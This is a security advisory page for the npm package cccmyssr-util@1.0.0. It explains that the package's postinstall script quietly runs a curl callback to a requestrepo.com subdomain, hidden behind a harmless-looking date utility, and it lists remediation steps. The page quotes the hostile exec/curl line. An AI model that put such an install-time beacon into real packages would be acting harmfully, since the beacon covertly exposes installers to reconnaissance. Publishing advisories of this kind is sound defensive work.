cccmyssr-util
This report shows the evidence for cccmyssr-util@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6390 confirms this npm version as malicious.
Advisory
MAL-2026-6390
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in cccmyssr-util (npm)
Details
On `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (`index.js` exports a one-line `formatDate`), with empty author metadata and a generic `A harmless utility package` description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to cccmyssr-util@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing cccmyssr-util@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.